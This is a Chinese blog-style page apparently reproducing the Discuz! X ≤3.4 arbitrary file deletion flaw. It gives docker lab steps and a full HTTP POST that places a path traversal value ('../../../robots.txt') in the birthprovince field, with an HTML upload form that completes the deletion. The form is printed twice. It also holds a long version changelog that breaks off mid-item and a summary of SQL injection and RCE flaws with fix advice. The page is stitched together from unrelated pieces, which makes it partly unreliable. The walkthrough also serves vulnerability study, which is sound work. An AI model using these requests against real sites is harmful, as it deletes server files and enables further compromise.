Discuz!X ≤3.4 任意文件删除漏洞

启动环境

cd discuz/x3.4-arbitrary-file-deletion
docker-compose build
docker-compose up -d

漏洞复现

1.安装数据库

在浏览器中输入:http://your ip/install/index.php?step=3&install_ucenter=yes

数据库服务器选择db,其他不改变,记得输入管理员密码哦

2.查看robots文件

在浏览器中输入:http://your ip/robots.txt

3.填写信息

点击进入数据库,在设置->个人资料中随意填写一个信息

4.记录formhashcookie

5.burpsuite发送数据包

POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close

------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"

[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"

../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"

1
------WebKitFormBoundaryPFvXyxL45f34L12s--

提交后,发现信息已改变

6.新建文件

建立一个upload.html

<body>
    <form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

在浏览器打开,并上传一个图片

7.再次访问robots.txt

至此,漏洞利用结束。

Discuz! X3.4 在继承和完善 Discuz! X3.3 的基础上,去除了云平台的相关代码,其他功能保持不变,如果您的论坛不需要云平台可以选择安装或更新到此版本。 主要更新功能为: 1、完善视频解析播放 2、HTTPS兼容性优化 3、修复各类已知BUG和漏洞 修复与优化的问题列表: 1、对备案号的网址进行更新 2、修复 一处PHP5.3不兼容的写法 3、修复 目前系统内存在的部分小Bug 4、清除文本格式功能 增强 5、因视频认证已无法使用,去掉用户的个人空间 - 个人资料页的:“视频认证:未认证”。 6、修复 版块页未判断是否可发帖就显示验证码的问题 7、修复UC后台文件里的目录路径获取方式,方便站长更换入口名称 8、优化 语音验证码通过HTML5播放,放弃Flash 9、修复 系统内存在的部分小Typo 10、修复 小黑屋页面“更多”按钮行为异常的问题 11、修复主题发布页,当没有可修复数据时,点击修复数据的提示框类型不正常 12、修复新版本chrome下帖子列表页加载按钮行为异常的问题 13、修复 语言包的spacecp中积分代码有误的问题 14、修复 系统无法阻止某些无法正常登录的特殊符号用于注册用户名的问题 15、修复 HTML5通知功能在现代浏览器不可用的问题 16、修正官方拼写错误导致用户资料中的 【加入的群组】 无显示问题 17、修复 在部分情况下高亮功能导致页面卡死的问题 18、修复 chrome下编辑器插入链接功能无法立即使用的问题 19、修复 开启内存缓存时,forum_forumfield 表没被缓存导致的主题分类消失、版块规则消失、访问权限无效等问题 20、删除用户无法删除 用户记录表(home_doing)数据 21、修复 默认关闭非安全请求升级,保证HTTP外域资源正常显示 22、修复 IE11及firefox在使用编辑器按钮的时候出现的bug 23、修复 个人资料页点击放大签名档图片时样式缺失的问题 24、修复 帖子列表页点击长条形下一页按钮时加载出的帖子后方图标样式异常的问题 25、修复 IE9及以上在多处出现的css错位问题 26、修复 补全IN_DISCUZ相关代码 27、修复 云平台插件降级工具无法降级一部分云平台插件的问题 28、修复 使用花括号做数组被废弃导致在部分服务器配置下产生提示信息导致程序功能异常的Bug 29、优化 HTTPS兼容性优化 30、图片宽高一样时,无法缩放 31、修复 在PHP 5.3下内存缓存报错的Bug 32、修复 开启“关闭session机制”后,论坛验证码即使正确也会弹出错误提示 33、修复 并发任务可能产生的刷分问题 34、防止并发评分与道具的接口产生的刷分等问题 35、【轻量级 PR】:修复 HTTPS下二维码不显示BUG 36、修复 部分发送邮件场景下信任HTTP_HOST所带来的安全隐患 37、修复 UCenter任意文件包含Bug 38、【轻量级 PR】:修复 msapplication-task 字段的笔误 39、【轻量级 PR】:修复 界面 ? 风格管理中新增操作结果混乱的问题 40、修复 IE6、IE7等浏览器提示common.js报错的Bug 41、修复 前台充值卡密页面不显示验证码和同一卡密充值2次成功的Bug 42、【轻量级 PR】:修复门户”模块管理“菜单高亮相关BUG 43、【轻量级 PR】:修复target书写错误问题 44、【轻量级 PR】:修复 在宽屏模式下点击切换配色时,宽屏状态被破坏且无法切换的问题 45、【轻量级 PR】:修复 在PHP 5.3下核心报错的Bug 46、修复 当开启顶部导航固定、头像区域固定时,滚动页面出现页面、元素跳动,及元素闪烁等问题 47、修复 dintval BUG 48、优化 HTTPS兼容性优化 49、修复 目前系统内存在的部分小Bug 50、【轻量级 PR】:修复 一处后台点击后会出现双层frame的问题 51、修复部分页面游客无法看见关键字、描述的BUG 52、修复 通知提醒页面分页链接错误的BUG 53、【轻量级 PR】:优化 去除Manyou残余代码 54、修复 道具中心列表页在部分情况下排序异常的Bug 55、附件下载500错误修复 56、优化 放松视频网站链接解析标准 57、修复 交易贴买家卖家评价数据展示异常的问题、交易贴模板不支持自适应展示的问题 58、修复 由于调用顺序问题导致MIME Type设置无法生效的问题 59、优化 触屏版支持视频在线播放、新增 AcFun和哔哩哔哩等网站的视频解析 60、修复 邮件验证链接有效期内可以强制修改用户邮箱的Bug 61、优化 支持论坛、日志模块部分音视频格式、部分网站的HTML5播放 62、优化 回帖回收站支持自定义单页面审
### Discuz! X3.4 漏洞详情与修补方法 #### 一、任意文件删除漏洞 Discuz! X ≤3.4 存在一个任意文件删除漏洞,其根本原因在于`home.php`模块中的参数未经过严格校验。攻击者可以通过构造恶意请求来触发此漏洞删除目标服务器上的任意文件[^1]。 以下是漏洞POC代码: ```html <body> <form action="http://[这里填写网站域名]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[这里填写刚刚得到的hash]" method="post" enctype="multipart/form-data"> <input type="file" name="birthprovince" /> <input type="submit" value="upload" /> </form> </body> ``` **修复建议**: 开发者应验证上传路径和文件名的有效性,并限制敏感操作所需的权限级别。此外,在最新版本中已修复该问题,因此升级到官方推荐的安全补丁或更高版本是最有效的解决方案[^4]。 --- #### 二、后台 SQL 注入漏洞 在 `source\admincp\admincp_setting.php` 文件中,程序对 `$settingnew[&#39;uc&#39;][&#39;appid&#39;]` 参数缺乏充分过滤机制,从而引发二次注入风险。如果数据库配置允许堆叠查询,则可能被用于执行额外命令甚至控制整个系统[^3]。 **防御措施**: 为了防止此类攻击发生,管理员应当启用严格的输入验证逻辑;同时关闭 MySQL 中不必要的功能(如多语句支持)。另外,及时安装由厂商发布的安全更新包也是必要的预防手段之一。 --- #### 三、ML 版本远程代码执行 (RCE) 缺陷 针对基于 PHP 的 CMS 平台——包括但不限于 Discuz! ML v3.x 系列产品线——均暴露出潜在危险程度极高的 RCE 隐患。具体表现为当满足一定条件之后便能够成功调用 eval() 函数解析未经审查的数据流进而实现非法目的[^2]。 **解决办法**: 重新设计涉及动态评估字符串表达式的部分代码结构以减少依赖关系;或者考虑迁移到更加现代化且安全性更高的替代品上运行业务流程。当然定期备份重要资料以及密切跟踪官方公告同样不可或缺。 --- ### 结论 综上所述,对于仍然使用旧版软件的企业和个人来说,保持警惕性和采取积极主动的态度去应对可能出现的各种威胁至关重要。通过遵循上述指导原则可以有效降低遭受网络犯罪分子侵害的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值